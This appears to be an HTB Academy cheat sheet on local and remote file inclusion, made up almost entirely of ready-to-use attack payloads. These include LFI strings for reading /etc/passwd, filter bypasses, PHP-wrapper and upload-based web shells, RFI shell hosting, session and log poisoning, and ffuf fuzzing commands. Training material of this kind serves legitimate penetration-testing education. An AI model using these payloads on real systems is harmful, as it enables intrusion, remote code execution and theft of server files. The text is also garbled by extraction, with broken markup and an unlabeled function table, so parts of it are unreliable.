

FILE INCLUSION CHEAT SHEET

Local File Inclusion

Command	Description
Basic LFI	
/index.php?language=/etc/passwd	Basic LFI
/index.php?language=///etc/passwd	LFI with path traversal
/index.php?language=///etc/passwd	LFI with name prefix
/index.php?language=./languages///etc/passwd	LFI with approved path
LFI Bypasses	
/index.php?language=////etc/passwd	Bypass basic path traversal filter
/index.php? language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64	Bypass filters with URL encoding
/index.php?language=non_existing_directory///etc/passwd/././.[./ REPEATED ~2048 times]	Bypass appended extension with path truncation (obsolete)
/index.php?language=///etc/passwd%00	Bypass appended extension with null byte (obsolete)
/index.php?language=php://filter/read=convert.base64-encode/resource=config	Read PHP with base64 filter

Remote Code Execution

HTB ACABEMY CHEATSHEET

Command	Description
PHP Wrappers	
/index.php? language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id	RCE with data wrapper
<pre>curl -s -X POSTdata '<?php system(\$_GET["cmd"]); ?>' "http://<server_ip>: <port>/index.php?language=php://input&cmd=id"</port></server_ip></pre>	RCE with input wrapper
curl -s "http:// <server_ip>:<port>/index.php?language=expect://id"</port></server_ip>	RCE with expect wrapper
RFI	
echo ' php system(\$_GET["cmd"]); ? ' > shell.php && python3 -m http.server <listening_port></listening_port>	Host web shell
/index.php?language=http:// <our_ip>:<listening_port>/shell.php&cmd=id</listening_port></our_ip>	Include remote PHP web shell
LFI + Upload	
echo 'GIF8 php system(\$_GET["cmd"]); ? ' > shell.gif	Create malicious image
/index.php?language=./profile_images/shell.gif&cmd=id	RCE with malicious uploaded image
echo ' php system(\$_GET["cmd"]); ? ' > shell.php && zip shell.jpg shell.php	Create malicious zip archive 'as jpg'

Command	Description
/index.php?language=zip://shell.zip%23shell.php&cmd=id	RCE with malicious uploaded zip
phpdefine phar.readonly=0 shell.php && mv shell.phar shell.jpg	Create malicious phar 'as jpg'
/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id	RCE with malicious uploaded phar
Log Poisoning	
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd	Read PHP session parameters
/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E	Poison PHP session with web shell
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id	RCE through poisoned PHP session
<pre>curl -s "http://<server_ip>:<port>/index.php" -A '<?php system(\$_GET["cmd"]); ?>'</port></server_ip></pre>	Poison server log
/index.php?language=/var/log/apache2/access.log&cmd=id	RCE through poisoned PHP session

HTB ACADEMY CHEATSHEET

Misc

Command	Description
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http:// <server_ip>:<port>/index.php?FUZZ=value' -fs 2287</port></server_ip>	Fuzz page parameters
<pre>ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<server_ip>: <port>/index.php?language=FUZZ' -fs 2287</port></server_ip></pre>	Fuzz LFI payloads
<pre>ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory- linux.txt:FUZZ -u 'http://<server_ip>:<port>/index.php? language=///FUZZ/index.php' -fs 2287</port></server_ip></pre>	Fuzz webroot path
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http:// <server_ip>:<port>/index.php? language=///FUZZ' -fs 2287</port></server_ip>	Fuzz server configurations
<u>LFI Wordlists</u>	
LEI-Jhaddix.txt	

Webroot path wordlist for Windows

Server configurations wordlist for Linux

Server configurations wordlist for Windows

File Inclusion Functions

Function	Read Content	Execute	Remote URL
РНР			
<pre>include()/include_once()</pre>	Yes	Yes	Yes
require()/require_once()	Yes	Yes	No
file_get_contents()	Yes	No	Yes
fopen()/file()	Yes	No	No

Read Content	Execute	Remote URL
Yes	No	No
Yes	No	No
Yes	Yes	No
Yes	No	No
Yes	Yes	Yes
Yes	No	No
Yes	No	Yes
Yes	No	No
Yes	Yes	Yes
	Yes	Yes No Yes No Yes Yes Yes No Yes Yes Yes No Yes No Yes No Yes No Yes No Yes No

ħı

HTB ACABEMY CHEATSHEET